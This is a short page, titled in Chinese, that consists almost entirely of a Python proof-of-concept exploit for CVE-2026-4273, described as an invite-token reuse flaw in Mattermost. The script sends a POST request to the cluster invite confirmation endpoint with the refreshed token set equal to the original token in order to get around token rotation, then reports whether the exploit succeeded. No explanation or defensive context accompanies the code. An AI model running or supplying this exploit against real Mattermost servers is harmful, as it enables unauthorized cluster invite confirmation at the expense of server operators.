CVE-2026-4273 Mattermost邀请令牌重用漏洞

import requests # PoC for CVE-2026-4273: Mattermost Invite Token Reuse # Description: Bypass token rotation by setting RefreshedToken equal to the original Token. def exploit_invite_reuse(target_url, original_token): """ Attempts to confirm a cluster invite by reusing the original token. """ endpoint = f"{target_url}/api/v4/cluster/invite/confirm" headers = { "Content-Type": "application/json" } # Malicious payload: RefreshedToken matches the original Token payload = { "Token": original_token, "RefreshedToken": original_token # Vulnerability: Lack of differentiation check } try: response = requests.post(endpoint, json=payload, headers=headers) if response.status_code == 200: return "[+] Exploit successful! Invite confirmed using reused token." else: return f"[-] Exploit failed. Status code: {response.status_code}, Response: {response.text}" except Exception as e: return f"[!] Error occurred: {str(e)}" # Example usage # target = "https://mattermost.example.com" # token = "invite_token_abc123" # print(exploit_invite_reuse(target, token))